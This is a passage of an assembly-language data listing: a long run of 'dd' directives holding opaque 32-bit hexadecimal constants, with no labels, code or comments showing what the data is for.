		dd 799543D4h, 17490405h, 0D62C6A4Fh, 0E14A08Dh,	0AA9C8A7Fh
		dd 195B0EC9h, 0DD34414Eh, 5D25B5AAh, 37B4787Bh,	7C8C077Dh
		dd 0FA07B108h, 1C3D8986h, 66ACF5E7h, 36958ABDh,	0D2C5D1EBh
		dd 8955EB52h, 9607D59Ch, 0BF4B6431h, 9C2ECECFh,	90DDF094h
		dd 718AEA9Ah, 576CDDBDh, 99469FAEh, 0C829BD5Bh,	428C8720h
		dd 4DDB8E72h, 0EEB37AEDh, 0D5B6C97Ch, 416C0AEDh, 99BA1374h
		dd 46F47D5Ch, 0E43558BFh, 0BC545E35h, 22E6E8EBh, 62BD0730h
		dd 0F5757224h, 1966C81Dh, 0A48E6758h, 0F60692E3h, 0E386392h
		dd 10EB32B2h, 0F1B701CFh, 78C0DE92h, 26942951h,	455B0EC9h
		dd 9CE403E2h, 7C051259h, 922CAB3Ah, 9DCB7167h, 702A5854h
		dd 0E722271h, 786B140Eh, 0C94CB6A8h, 0CCF751DFh, 25E081EFh
		dd 7EA9603Ch, 3C54123Eh, 0ED0E390Eh, 8E0A592h, 0F03660DDh
		dd 3DF43ACAh, 58E630Ch,	785AC484h, 0F5056525h, 7F5929E0h
		dd 0C3C6F07Ah, 489FA98Dh, 0C541B015h, 0B643B020h, 625B0167h
		dd 0D928F78Bh, 9839EE4h, 7FAC067Ch, 0C5CEFB2Eh,	40066D3Fh
		dd 0FF88DFFCh, 0B8E7184h, 0D50708E8h, 0D0F7E1F4h, 2B35011Eh
		dd 0E85941F8h, 3B6B59EFh, 5CFC3E97h, 0E627AE32h, 0C88E9B3Eh
		dd 266C0785h, 0C559CA2Eh, 7B2169C4h, 0D0582ECFh, 6E61645Eh
		dd 0E949ACD7h, 0CB47D0C5h, 0C0213EC8h, 11064B08h, 651CA448h
		dd 0FCDE74EAh, 0C2F2BD22h, 16B86D4Eh, 0B250E52Eh, 0AECBA763h
		dd 2536B1EEh, 0F22B168h, 0FFE6FBC0h, 0CA8D67CEh, 0B0347BE2h
		dd 0B6E21694h, 9052D231h, 0C8F8CDA3h, 0A20D81DEh, 0FC60A990h
		dd 0A134ECC5h, 0C9BDED7Ah, 121CA68Bh, 58504686h, 0C29AB2F7h
		dd 32057DC9h, 0A858B3E7h, 272D47FBh, 0BEA5DE1Eh, 0EE281D0h
		dd 0DA3478C9h, 0F888F3A4h, 0CE5E4D7Eh, 11180ED1h, 0E254E221h
		dd 948458BAh, 0B0C8F763h, 592AA07h, 0C7F0E236h,	0DF311D2Bh
		dd 0EB32A192h, 7DA064A8h, 47A985E8h, 0EB759821h, 0D3ED0C97h
		dd 0D5574291h, 0DDF8E502h, 44382A84h, 4072E88Ch, 23134C86h
		dd 0CE269FCFh, 0F3F3A86Bh, 0D4E9E236h, 7CEAD0F5h, 1E0CF52Eh
		dd 5C54AEF2h, 257BAEFh,	404C04E6h, 0E7CAD23Eh, 0D33176FFh
		dd 7A205D4Eh, 0BECD15A5h, 0FEC710Fh, 807DB88Bh,	0A837F6F8h
		dd 5034AF22h, 0DCA80A9Eh, 386DF938h, 0DDADA4FCh, 3F201487h
		dd 0F5E08245h, 2DE7FBD5h, 5BED90F6h, 0D90CE4CAh, 654D3AE0h
		dd 5E6D3793h, 4876D4D3h, 1F2D58E6h, 0A75A639Ch,	0E9511E09h
		dd 0F5C88846h, 0FC5CBE65h, 7F4F57F4h, 2BA70BACh, 14B50DB5h
		dd 0FFB016B7h, 0F596E5FFh, 88528BFCh, 0CE169C25h, 0AD71FCBBh
		dd 3FE6ABD9h, 8F9AEEA3h, 84A2011Eh, 7D5638D8h, 25B0C691h
		dd 29E1CA79h, 0A754A40h, 5CF408A7h, 152C01CFh, 0FDE03795h
		dd 34FC2E2Dh, 0EFE7E644h, 163C422Fh, 894DFD02h,	479D070Eh
		dd 0E3F41C1h, 0D105CEF0h
		dd 0D0D59067h, 4A5DE847h, 0D051C2E7h, 0CAEFD552h, 0E221CEC0h
		dd 0B41C60DBh, 0B551434Ah, 0EE681DEAh, 0FC85C6F4h, 9C014E4Fh
		dd 0CCD4C5CEh, 0A6A308BBh, 484DAF50h, 0A9AC7D3Ah, 2452F12Eh
		dd 3AA3147Ah, 1308FE29h, 0E81BA712h, 0FFE70A72h, 7AC7A6D8h
		dd 0D432B9CFh, 6B316398h, 9C347E0Fh, 894CAB86h,	32AD072Dh
		dd 4318AF20h, 4E5E5224h, 5187A6FCh, 0FC75B148h,	0EEE17BE4h
		dd 4D98BBEEh, 0C328635Dh, 6B91CC6h, 0DA2626CEh,	0E12E1380h
		dd 584F519Ch, 0CC7960C3h, 0E8E1F640h, 20B32DB6h, 48AC552Eh
		dd 0A1A07C7Ch, 2311E99Dh, 0E53660E6h, 0D95009h,	65DE65FFh
		dd 700EED39h, 0E691509Dh, 0FC0656F6h, 9F0CC8E8h, 0E3691A5Eh
		dd 512CF8F9h, 0F421FC9Dh, 306AC28h, 0D0EAE557h,	95AFEF86h
		dd 0FF279F01h, 4AC32199h, 9C0FB367h, 5363B6Dh, 8A0CEBE1h
		dd 0B67CB7CCh, 0E63D4467h, 0C304BCAAh, 0EB931DFBh, 9F29D551h
		dd 6550B6B1h, 0BBF336D0h, 542CE416h, 0C45C4386h, 0F279C140h
		dd 300DFFA6h, 98B0D4D7h, 0A6AB882h, 0C3CC744Ah,	1FE17468h
		dd 0B4642A04h, 420E1EC7h, 2E9E023Dh, 0C7FBFCF4h, 0E0AC7EEAh
		dd 262084EBh, 3E353CBDh, 0E581C1E5h, 7303045Eh,	21777490h
		dd 0B22D8C86h, 9744E833h, 27FE07CBh, 0B4E2127Dh, 715B46A1h
		dd 0C7096031h, 744B0CB1h, 0DF6DC5D9h, 0FE8B2E8h, 43477AAh
		dd 53C67E1h, 3EAF65F2h,	0CFFB5F4h, 32D3FFEFh, 5730AA58h
		dd 7C367628h, 0CB057BFFh, 17843EB6h, 79AEE8D2h,	0DDC14BB2h
		dd 4E8A7B75h, 271BBA59h, 5F802ACAh, 2067C832h, 0C976163Ch
		dd 0D0489DF3h, 7BA1C664h, 0D22B5CAAh, 0E47CE13Ah, 0D6AFDD04h
		dd 48F569F9h, 5DEB3410h, 6908FE02h, 1F23028Ah, 7F93BD8Ch
		dd 524D3144h, 7973B86Eh, 4700B174h, 544C4FBFh, 0D073AD5Dh
		dd 2A6FCAD8h, 9E02B95Ah, 4ACBDB81h, 0E77B8949h,	0A7DB7491h
		dd 0FCBC359Ah, 0CACCAB52h, 0C1B8C593h, 49CE95F4h, 9FEC1BEh
		dd 846ECD87h, 321419F0h, 0DC28918Ah, 0F9324364h, 0ADF036FBh
		dd 0B95CE220h, 0E149B3CFh, 83F95F7Ah, 0B89C9E55h, 58653582h
		dd 0D5252642h, 12A846D5h, 0B32855A9h, 482D2870h, 0C57908B0h
		dd 0E95B1B98h, 78D44A81h, 42EDFA0Ch, 0BB328F47h, 3D7C5524h
		dd 0C8D070AAh, 0AFA5BA1h, 22D2F02Ch, 6B6D4116h,	98489884h
		dd 139BBD0Bh, 7C2CE176h, 0A740E4E4h, 0C2C1ECBh,	95ECDA65h
		dd 0A7F21DE4h, 0C0574A76h, 3C5017C8h, 0BE525DA4h, 2F64E51h
		dd 3CB65552h, 52EF1DEFh, 0A342C7CDh, 34413F07h,	564C3633h
		dd 61CD1888h, 81C1926h,	73691B88h, 7140CACCh, 0F4A64521h
		dd 0FF34E287h, 6C000B93h, 804DF2FAh, 0BA01FE92h, 8E1AAA31h
		dd 0A3D1B57Fh, 29727D4Ch, 0CCC67108h, 8F1652CDh, 26B0D951h
		dd 0B5E2C1h, 0D66BF66Dh, 0FCA8703Fh, 0D84C003Ch, 8A9D1DBEh
		dd 4BF3E53Ah, 3E53F52Fh, 7DC645F0h, 0F67ABE4h, 0E55DF499h
		dd 0A706C5CFh, 0DB8FE848h, 9DFA7C55h, 0FB15C1Ch, 0C4D29505h
		dd 0A05B1881h, 7F5B2132h, 6CBEBD16h, 0D4DDD07Dh, 0E0DF029Fh
		dd 5BACBF72h, 447387E5h, 4AF47969h, 3AB9CDh, 0E474D831h
		dd 415B18D6h, 0E54F2DFDh, 0F643A88Ch, 8207B16Bh, 0FCA8427Dh
		dd 38C1C101h, 612DF848h, 4D921D12h, 0AF453BA7h,	1AB3EA85h
		dd 0A260689h, 0B2BD8E35h, 0D0057B2h, 0EC560081h, 0A4B3ECB9h
		dd 306C6C66h, 8ADF6B33h, 49DD066Dh, 3BBC6B4Ch, 1A3F6435h
		dd 78CE9374h, 0FA666E3Ch, 0E20B0284h, 3EC30B94h, 0FBECFB68h
		dd 0F6FA97C8h, 0CB919105h, 0FBE47ECFh, 42077DEEh, 0B3792BDh
		dd 9CD67085h, 59210F10h, 2FAAC0D8h, 0F31408Ah, 2A7EFD35h
		dd 6D4173Ah, 0FB3A5692h, 0D294F870h, 42C5F127h,	0AA30311Eh
		dd 7F3C2853h, 1D74DF70h, 45560B84h, 5CEBD7EEh, 8A4C03C9h
		dd 34E05199h, 88111D09h, 6616648Bh, 805592E8h, 0DD661D63h
		dd 77FD1BFEh, 15BA104Ah, 203C9DFEh, 67466805h, 0D96A2F8Ah
		dd 0C8F2A5BEh, 0FDFF66F8h, 63CCCAEBh, 0CF887504h, 0F5057E9Dh
		dd 7C8379FCh, 0FF2C063Fh, 3E4D1F60h, 6EEC4FFAh,	0DB666E84h
		dd 54581DFCh, 0AA9DB4BDh, 0DF1FEF0Bh, 0C2392396h, 0D14F5918h
		dd 69B8071Bh, 933BE1CBh, 0D8A32ED4h, 0FEA5781Bh, 0D4C73A57h
		dd 0C64CB3E7h, 240C7683h, 0D7ECC936h, 0D6923D2Fh, 0E816E408h
		dd 49586693h, 0B33988Ah, 44FF969h, 7ED8AB18h, 7F078B3Eh
		dd 18D0A51Eh, 1F30B381h, 0BCF75894h, 3CF4C007h,	0E9EFB7C0h
		dd 0BD85B77Ah, 31C13E5Fh, 0FA8E02B6h, 0D74F5AB1h, 0F033B063h
		dd 0F53118C9h, 0CCDA75EEh, 0FBA57F9Ah, 70267783h, 0C00D070h
		dd 0F36F1E80h, 7E404934h, 0F9ED457Fh, 0C4065E02h, 52214FC4h
		dd 373564F6h, 9176FA5h,	160D03DEh, 8DD6A71Bh, 0C2AF639Bh
		dd 0AC9DA035h, 0C4BEF32Eh, 4E58ABEDh, 82B2E956h, 38277D9Eh
		dd 9D65C7C2h, 51E422EAh, 501801B2h, 847B7494h, 16041F7Dh
		dd 0E4CFC6F5h, 0ACB469FCh, 0AEF7AAE4h, 3140B56Dh, 58E4272Fh
		dd 9FF53E02h, 16B157E4h, 0FF98202Dh, 2CC48BFCh,	2A8F7BFEh
		dd 1A2064A3h, 0C76A5B44h, 7AC8AB6Bh, 0C8AF3E65h, 99FC4AA0h
		dd 0FA386FB4h, 2822C2D1h, 0F6A72CBCh, 6A6F5D87h, 0F9F61979h
		dd 0DD8D71F5h, 0CFF3AECBh, 4E9D873h, 7F489D9Ch,	720A4861h
		dd 44C90D6Ch, 55A9D6Bh,	0CF96ACE0h, 0CF36EC85h,	516AF941h
		dd 9404C457h, 0E375C764h, 0CC437466h, 6F4051E5h, 0C62306A7h
		dd 750F428Fh, 614A06E3h, 8D8B1B8Dh, 103D1300h, 953E28Dh
		dd 63D410FCh, 0B064F50Ch, 6C64F44Ch, 169BB3C0h,	0A0E31C59h
		dd 651D6B2Ah, 0E04602Eh, 410E2AF0h, 8683DB8Ah, 9B086780h
		dd 44B0B04Bh, 0F644D5FFh, 7CEDD8B5h, 380970F9h,	0D0F371CBh
		dd 9EED63BBh, 9E061458h, 383FF389h, 98199A4h, 0E4878375h
		dd 0EA9C4732h, 1B24B1E4h, 8053DAF0h, 2F3DCDCBh,	781D9915h
		dd 510015F7h, 0F1E12700h, 0A2F1DD2Ah, 0EE518A43h, 0D7206096h
		dd 7E5B2A9Ch, 88197D16h, 2CE0418Ch, 76DA0981h, 0B5A7A974h
		dd 0EAD66C6Dh, 0CD27B14Eh, 0CECC4118h, 0D8014605h, 37D6D4C4h
		dd 0B5D16D7Ah, 0F005F94Bh, 0EAEF9B7Eh, 3A71A1D9h, 0B530C1E4h
		dd 68AF69B9h, 2314B633h, 0D69546A7h, 0C79450E0h, 0B48CBEC0h
		dd 447C8151h, 0FC2864C2h, 3BF82C61h, 6837C6D6h,	0D9D91188h
		dd 0A4E24370h, 909367E6h, 7D569E34h, 0E8FD1DF8h, 0B7E3F18Bh
		dd 0CAA77528h, 1A4AF6C8h, 3EC571E4h, 22E36185h,	0CC164D08h
		dd 871CB1B2h, 0B7D2362Bh, 0E71FF967h, 94F90896h, 0B95928EBh
		dd 0FAA5E106h, 76864A96h, 42B78D1Ah, 1AD0D7A4h,	3D1593Dh
		dd 9899444Eh, 0C8CE992Ah, 263198AAh, 9E6CC108h,	2B890CFh
		dd 29E4B65Bh, 63302CEEh, 5A4BA8BBh, 4C8637D5h, 0DF184638h
		dd 0E57995B6h, 0AC7319A8h, 0C4B91E4Ch, 0A82CCD7Fh, 69CFAE92h
		dd 9A3FF9F4h, 0A3CDE877h, 9FCC7D1h, 0CF8ED297h,	97A00C8h
		dd 0F6F70088h, 9F110DCCh, 0EBFE207Fh, 0EDFEF4CCh, 310EB2C9h
		dd 2AB2BAD7h, 56CF6C9Bh, 2F42AD8Fh, 6B1A9571h, 0E3D8F539h
		dd 25F4B6BFh, 3A1ADB39h, 0BAD174F0h, 88626DDDh,	3B7931C6h
		dd 8EAE550Dh, 684470FEh, 148EEF2Dh, 0DD4CB346h,	388FEF86h
		dd 52D0AFAAh, 0ADBD51F4h, 0DE182E08h, 77850BC8h, 26B49486h
		dd 0E0EA8440h, 2BF3142Ch, 0AEA8FB9Ah, 9BAD40E7h, 5B4C7CFBh
		dd 0F276D78Fh, 35A860E7h, 2740071Dh, 7FEBB315h,	8E6E2BABh
		dd 602CB78Dh, 9F2584D8h, 0DE312A0Eh, 39FCC325h,	159BB53Dh
		dd 0DB7A4384h, 0EEEC58EEh
		dd 81DD73FCh, 9EFC1FD8h, 2950B0Bh, 3BEB2B86h, 1E3F951Eh
		dd 92183CD9h, 43110E66h, 4042795h, 5A2F1804h, 8DFF7F70h
		dd 592876C6h, 212065F7h, 0BDD725B6h, 252D0FABh,	7BE27AB1h
		dd 0A5D8756Eh, 0BB332C38h, 420FF0Fh, 0CE31BEB8h, 0DD40A084h
		dd 0B7314862h, 0FB4C651Bh, 5F8AE3B1h, 0E3046F72h, 7854C5B6h
		dd 9BDD6B17h, 8040654Bh, 57330B35h, 0ED2C5141h,	0D4E4DEA1h
		dd 0B63894AEh, 6552D523h, 33B5BF04h, 7CE5AF8Ch,	0E038A120h
		dd 0FC146453h, 428DD184h, 44B5598Dh, 0B2C99173h, 87A1DA0h
		dd 3734603Eh, 7A7B1C3Ch, 34A06C15h, 0AE959E0h, 0F51803ADh
		dd 29F68A84h, 0E6135751h, 2BB022B7h, 3F9A28D4h,	0DB893BB7h
		dd 0D8C8E7DDh, 164069E0h, 94152BA4h, 7D055626h,	0CB308C3Fh
		dd 2BE2B2DFh, 0E8345A79h, 0EAC5524h, 0C2419375h, 0B05CB3F4h
		dd 940B14C8h, 327B6384h, 70147FCEh, 32E2F31h, 722A93Eh
		dd 80B22AE6h, 37E441B7h, 0BA97C757h, 1447D983h,	0B4B5C654h
		dd 0A00A5517h, 2BC404A4h, 7D4F49B1h, 0F8773630h, 0A256869h
		dd 634C4B3Dh, 0C0B057B2h, 0FF26661h, 0D240BF10h, 131066EDh
		dd 462EC6AEh, 0B7D55846h, 0A78D0B26h, 62B62C8Eh, 0ECAF736Fh
		dd 75BCA964h, 0F21F6AFFh, 1C8284A6h, 62F0C0EBh,	0D8C76C6Fh
		dd 0C7062901h, 0C0000866h, 72F47C18h, 0F0A72085h, 1B647091h
		dd 90B8774h, 4CC7B43Fh,	68F3B161h, 90F45F84h, 0DCCCEA94h
		dd 0D4278A05h, 23B2204Fh, 8F88730Bh, 12CD24DEh,	8D5C656Fh
		dd 0BC8C433Eh, 0CB4CA73Ah, 3535E37Bh, 0C073998Fh, 0B0F9BB6Bh
		dd 0B107374Ch, 1DCA4324h, 0DDF3563Eh, 0B85736C4h, 39EC67F0h
		dd 8E08FD78h, 7FF44D0Ah, 89B4E3C8h, 0A0F49F81h,	5E8F3928h
		dd 4A5AE0CCh, 0FF2EB1FCh, 0FD69AC8h, 1E92018Fh,	896B757Bh
		dd 377BABCBh, 45377D1Ch, 0D52CBA30h, 0EB691C7Ch, 0DF059529h
		dd 352049E4h, 80032CACh, 0D84444E2h, 0FB4C63Eh,	61F09F5Bh
		dd 0AA66685h, 910B6170h, 0BC5CF2C8h, 3D6985CFh,	0B96EE835h
		dd 7CE558E9h, 7501BD15h, 58DBE246h, 5900A845h, 0CE35BDEEh
		dd 0CF1C336Dh, 22EBDD9Dh, 3E7F9FAEh, 0E4AE87BDh, 0CFAAAA83h
		dd 82E47566h, 0D0D173D6h, 6B1B3984h, 0F5F46CF8h, 0EA73B3F1h
		dd 0FFD90E2h, 94805DD5h, 0F94FA2ACh, 8C5108F1h,	1DB9E0EDh
		dd 0D15AD8E5h, 0DEC62BFh, 0E71B8425h, 77AF2EFCh, 0AC0035F1h
		dd 0A3C4B1EEh, 9CFC9F1Fh, 9A05AE1Ch, 0D7292DF8h, 7C57ECEBh
		dd 256925BAh, 0AE1D1DFCh, 3CCEC338h, 3D0D46C5h,	0B1560127h
		dd 2DAF7B8Eh, 76F0C02h,	3888698h, 24DCFB8Eh, 60D9B8F6h
		dd 8072F2CBh, 0F8863618h, 2A70DCFCh, 1971B12Ch,	0F2A6771h
		dd 894946FEh, 63D47BCEh, 747C0D81h, 0BFFE36B6h,	1E644848h
		dd 74B05C00h, 5AEBB8F8h, 0D3575336h, 25E04BC9h,	483967DDh
		dd 0CCB2BA1Ah, 0CB2B2076h, 5A338CAEh, 5A1D9ACh,	24B81B7Eh
		dd 0F67145AEh, 880B75DAh, 5B072692h, 0C00146E3h, 0DD3E70DBh
		dd 0E5E45F56h, 3708F77Ch, 0D418C353h, 30B52C8Bh, 438AD4Eh
		dd 0D2B169A6h, 60AD6E3Ch, 3AF84727h, 2BB5D743h,	51806D08h
		dd 5B018D3Fh, 4E2E916Dh, 0F6DC41D9h, 0F2734049h, 0D3049863h
		dd 813AE417h, 92ECC1h, 8CEFE19Fh, 0CB01F1C1h, 3734D26Dh
		dd 0D24D98AFh, 4497E856h, 482B2E17h, 99CE604Eh,	0CE4C69EBh
		dd 63D45CF2h, 0F541B9A8h, 0DBD4C282h, 2D0C2E2Dh, 0EB8D0AF5h
		dd 84C00C8h, 0B754538Dh, 0BF112A7Eh, 64C7007h, 59AB5029h
		dd 86753F17h, 2AEAA45Ch, 820693DAh, 540FA120h, 96056CEEh
		dd 12FC399h, 0EF69800Ch, 83D435Fh, 843A4B2Fh, 0C67499D0h
		dd 5B34A23Ch, 7F1920E2h, 3B2A06A6h, 78AD1708h, 0ABC2349Fh
		dd 0CBC53B7Ah, 0DD9884A1h, 639FF631h, 8AD4765Ch, 0C86C4687h
		dd 0C876A50Eh, 0EEF7CE67h, 0D9DECF15h, 0C03242BAh, 876F482h
		dd 34AEC33Ch, 0B6754FE4h, 0E1B9A939h, 4BFCAC8Ch, 0D4762577h
		dd 892175F2h, 90F74CA4h, 89E01FD4h, 1CE0B9CFh, 0C072371Fh
		dd 3CD90Ch, 0B2622810h,	0D5F4E2BBh, 846DFD1Ch, 68672030h
		dd 6F370D9Ch, 0F2EF95D1h, 0C530F8DEh, 0DC22713Bh, 53982E83h
		dd 0B5804ED8h, 2CF09505h, 87806F79h, 12CB7C5h, 7C2F84D8h
		dd 2A876138h, 0B6792F21h, 0C57D4691h, 7DFCBE18h, 0EA7852FEh
		dd 0EF2FE593h, 0C951B7B5h, 0D1066CFDh, 3B1F80BCh, 91EC7BFDh
		dd 53113854h, 8D43432Fh, 7E94BE34h, 439190FAh, 34D066DFh
		dd 0BC89702Bh, 0C66DF1D7h, 20A70E7Ah, 0C2E04406h, 600B92CBh
		dd 0A4E5FCECh, 9E0936EFh, 6F017FF0h, 10993BF3h,	0D819AA8Bh
		dd 0F457B538h, 918C765Dh, 0E1A0B499h, 9C298EF7h, 72FF386Fh
		dd 5737A511h, 0E71FDB79h, 2B540022h, 0C4FDCDB1h, 0A7B8B6CDh
		dd 0BE4858FDh, 0C29804F3h, 8575DAE4h, 817A04D0h, 77A26EE0h
		dd 7B238AD4h, 0D2C291C8h, 9376AD7Ah, 399E1228h,	0EF1B7DCh
		dd 5FC9BD8Fh, 184B076Bh, 3EF176B4h, 65E2ADB2h, 9CAEB3CFh
		dd 6C55A327h, 808575F2h, 0F6BE9068h, 241F6EB7h,	0CD68F88Dh
		dd 0AE5EF11Dh, 2208FC79h, 0F654C07Ah, 0B0E4C524h, 0F4BDEAE0h
		dd 16999BCCh, 0EB75CCABh, 0F381AA35h, 0CBE96ED5h, 0F1787868h
		dd 35293DE0h, 0EB183772h, 82E721C4h, 2A693C68h,	0EE7B6C06h
		dd 422965F7h, 387123F2h, 0D338B0A8h, 3806FEA9h,	0DCDAB7D4h
		dd 0D6713F61h, 0D083B4C2h, 2FD01402h, 826370C2h, 0C3285925h
		dd 62D68F2Bh, 4ED16D0Dh, 6B75B59h, 3132AF95h, 0F00A98B6h
		dd 0D70A3A29h, 0CE1BAC0Ah, 0F45DB5A1h, 8232E18Dh, 782849C4h
		dd 24666D68h, 9B1754C8h, 8A3165A6h, 0C708A7A6h,	9C17E426h
		dd 0DED21531h, 8AA6470Ch, 0CEA958F2h, 0E546D4BDh, 0DE53679h
		dd 0D41C9C29h, 0BD5D7DEEh, 0C5531917h, 28B47CF7h, 20542D8Dh
		dd 0D4733593h, 0DA894057h, 23CC97Ch, 95A4FF78h,	0BB3F3A4Bh
		dd 0DFC93A66h, 2C592D25h, 0EC04F137h, 86BC90FFh, 8A1C650Ah
		dd 0BE76C125h, 0D430A5CEh, 0A6F535FDh, 3E2D83B4h, 0C20B9DBFh
		dd 0D7333DD8h, 85FC4C74h, 0BF3814EFh, 0E5855AC3h, 7B2878A2h
		dd 0CAEFA635h, 276B3490h, 6063A7A8h, 0D72905ABh, 0CBC6C577h
		dd 6579DA4h, 8602343Ch,	981EB182h, 5BF0C136h, 5034CBDCh
		dd 0CB9A17BCh, 6D8D35DEh, 846F12Ah, 722C06FFh, 5E803F31h
		dd 30636968h, 31340EFDh, 0EB63C3EEh, 37720FAAh,	64F89C6Ch
		dd 7FB13D3Ch, 3337B5C8h, 0B046692h, 9F1601F8h, 255B3CD5h
		dd 0CD46C226h, 9EBE3ADh, 64B48BABh, 0D9E17EDAh,	7739325Ah
		dd 0CD0604C7h, 26974922h, 31C080D2h, 0DA15C9A1h, 0DBF4E967h
		dd 4D716B84h, 0D98061FBh, 10EFA83Ah, 513DE8F2h,	3F2074EEh
		dd 0B71EFA37h, 5B4CB4CFh, 0B8CA35A3h, 1BAE0F75h, 0F40C8614h
		dd 0BC885CD5h, 0BBF16061h, 9B5FC07Fh, 0B874E57Bh, 0D6FE8092h
		dd 85A34240h, 0DB4F2CABh, 97BD2C81h, 5F52A24Ah,	148A0727h
		dd 6B73D4A4h, 0D007F8AAh, 8F27DEFh, 0EC70B6A8h,	9C2D32D8h
		dd 718A72Dh, 0B7CEB6Dh,	93468F5h, 0AFCC7FBh, 52430DAAh
		dd 0F14C06E6h, 0A38C6EA5h, 0CB9BAC7Bh, 449F1818h, 0FEECA58Ch
		dd 0F052D7ACh, 0D406B2A8h, 48223D28h, 37B45DFFh, 9C77785Eh
		dd 0B873C094h, 0BF055271h, 3A6F93E4h, 985B9018h, 0B121BFCEh
		dd 17CDC875h, 7BC58706h, 34380C39h, 0C5689B5Eh,	28065CA8h
		dd 6FE302A4h, 7CCBC244h, 483C105Dh, 0F667EEE8h,	29E256CEh
		dd 0A60E9C9h, 4CB4A2BBh, 1227E906h, 249C5831h, 5A982082h
		dd 84E0E4ACh, 0FC7DFD92h
		dd 7D27D9D2h, 0FFB540F4h, 0F54C03EBh, 928F1CBCh, 0D545117Dh
		dd 6227E126h, 500AC40h,	21E4675h, 0D711D742h, 0ECD3CF28h
		dd 212FFFA9h, 4313A84h,	2735753Eh, 0DC91BEA4h, 7B4D4C6h
		dd 5B9FD13Ch, 86ECC7DCh, 4D1B6A92h, 0F86FBDA9h,	60D379E7h
		dd 81CD483Ch, 0DB45C8A5h, 0E0660ABCh, 973F0AA3h, 7F5B3855h
		dd 3A699FB4h, 840DD492h, 0F8DD8392h, 8C0D453Eh,	4A95E786h
		dd 0D9ABAA13h, 0C6A1D15Eh, 0DB2ED18Eh, 38CE2C39h, 133DBB5Fh
		dd 0C7A64A5Bh, 0D5D1C4D1h, 0A7FA37EDh, 0BD01D9A8h, 0EFFBB8A8h
		dd 50588A39h, 382E1EEBh, 5E7423DEh, 0EC214796h,	0BD569D7Ch
		dd 576E9259h, 0E4F8E8C7h, 0ACB9F095h, 0B4CBCE21h, 0F669C6E4h
		dd 8614013Bh, 3BA64A92h, 9C3C0AA8h, 0A82CB575h,	0B70085A6h
		dd 41745614h, 86391E4h,	1A657BCFh, 3AE43982h, 0DA1AC58Dh
		dd 0D5FB3F21h, 0D5593FFAh, 5AD53A38h, 0AC7683A5h, 416B76CCh
		dd 862B1E4h, 4F641BCCh,	535274B8h, 866047FCh, 0B92366F0h
		dd 0C963B82Eh, 709A50E4h, 1A995DC9h, 8A32C1F0h,	0F2349D52h
		dd 0C54AC32Eh, 965D3F3Fh, 96957EEDh, 0C0957A53h, 80456AA6h
		dd 2D956AA4h, 8A346F50h, 3A74DCA9h, 0BD9EC152h,	0B91A8112h
		dd 0BFE32E10h, 0BFE7E350h, 0B3E6AE94h, 0C6630F8Fh, 0D29F6F9Fh
		dd 5C66D6FCh, 0E099465Ch, 789E41A6h, 57CCC70Ah,	0A485C92Eh
		dd 91A07A50h, 3A8198A5h, 0B289C157h, 0B0E6B804h, 0BEE39682h
		dd 0C264868Fh, 0C760485Fh, 0C698E75Fh, 0A5C4F958h, 1C613D25h
		dd 2B6099ADh, 0F6B659ADh, 0F62CB561h, 0A1C00AA9h, 5817C154h
		dd 37CFCA5h, 0D65A42AAh, 56C5CD60h, 0D6E74968h,	14003DE9h
		dd 0C25AC309h, 956D14F2h, 3B61143Ch, 4DF2C892h,	0CA5960F1h
		dd 65A0AA23h, 2CFC38A9h, 0C528B168h, 4165BE24h,	0CB721FDEh
		dd 689CC1FBh, 60715AB7h, 0C0313F21h, 7731FBC8h,	76D158D5h
		dd 0A6405165h, 0B777952Dh, 57885D68h, 0C7690E7Eh, 0EC4C7DCCh
		dd 85E00B51h, 0F915C8AEh, 6E3D0AA5h, 0E9291455h, 0DDAAC314h
		dd 0CB3ED20Bh, 72CB7688h, 0CD06B0E6h, 93E451E1h, 65B0C02Eh
		dd 87FC694Dh, 5B9F57C6h, 0FDA73ACBh, 9DD95FA9h,	0CB386DF8h
		dd 0CBDDAA6Eh, 89452B36h, 449308CBh, 0F6675DFCh, 0B2076340h
		dd 0B9FC4192h, 76534890h, 0C5F2FDAEh, 0E55AC3F3h, 0CF72C3ACh
		dd 0BB92CFD2h, 0B5001040h, 0B9210592h, 450B0B51h, 0E064C491h
		dd 6AAC0AA8h, 0EE652C0Dh, 7413577h, 0CC91491Fh,	0C43B14D8h
		dd 0D360C5D0h, 0BB37A65Bh, 6C611409h, 0C7281452h, 3488CC19h
		dd 2A4DC529h, 0AB33243Ch, 0DBAAE4E0h, 792CD018h, 0A9C0C758h
		dd 0A8D066F8h, 0BA91B7E4h, 0D430D108h, 2DC6C1F3h, 7C9351ACh
		dd 0B1F7C6B5h, 0ABE07DF5h, 419E4CB4h, 699967E4h, 0C993E8AEh
		dd 16905BE4h, 909756CFh, 0F7968EC9h, 69908F64h,	8F9DDB64h
		dd 2497A90Eh, 6CA8CD32h, 0CA2CFA3Ah, 0AF1A2752h, 244650DFh
		dd 0FCABC9FCh, 2DFCCDCEh, 44C68052h, 3C6B4A53h,	0AA8AA752h
		dd 409FF6DCh, 0FC93DDC9h, 4EF4CE69h, 6407F955h,	0AFA27D51h
		dd 0CE4E843Fh, 0FC97F6C9h, 0BA73CB66h, 0FF33D70Bh, 757CC857h
		dd 2B2CF85Dh, 3B66905Eh, 2C7053h, 805AB56h, 0A200295Ah
		dd 95AD0A5Ah, 2BAC9059h, 896D885Dh, 3254E48Bh, 0B05A4656h
		dd 0F55F6404h, 0A60A7530h, 4E0D592h, 0A35936D2h, 0A3B754BDh
		dd 707CC48Dh, 349ACE09h, 0B0747D3Bh, 0B2C8FD13h, 2225F61Bh
		dd 0B2A4F1FCh, 0F29CCFFCh, 0B05D471Fh, 0A09F467Fh, 0AD9D4237h
		dd 0AF580526h, 0C25D2C65h, 0B5396B9Eh, 0D3BCDB5h, 4DCD503h
		dd 0EC26C806h, 0EDD20B41h, 487B2CCh, 0B89B75FCh, 940FDEACh
		dd 0D2676984h, 0C2131CEEh, 0EC0965F3h, 0BC4D7FBCh, 0D73A3B2Eh
		dd 1F949DE9h, 0B04C852Fh, 934EE95h, 428544A9h, 94B36F58h
		dd 4EEFA436h, 7A552F51h, 0CC2E0869h, 9F09FEF6h,	0D90258B6h
		dd 0C462FC00h, 7331DF7h, 46F37546h, 0FE4C6DFCh,	0CF4446A4h
		dd 788E1284h, 0C92C5825h, 3AC72284h, 9F315490h,	0C592F7CFh
		dd 9F30C4DFh, 802DDAE0h, 0C7376C91h, 7C938384h,	9F3724A3h
		dd 3FA0D003h, 9F357F79h, 0F9B55486h, 6B4C40B0h,	0F2776444h
		dd 9F0E7AF4h, 6BF7A514h, 9F2A01FCh, 0CA06D705h,	954C78D4h
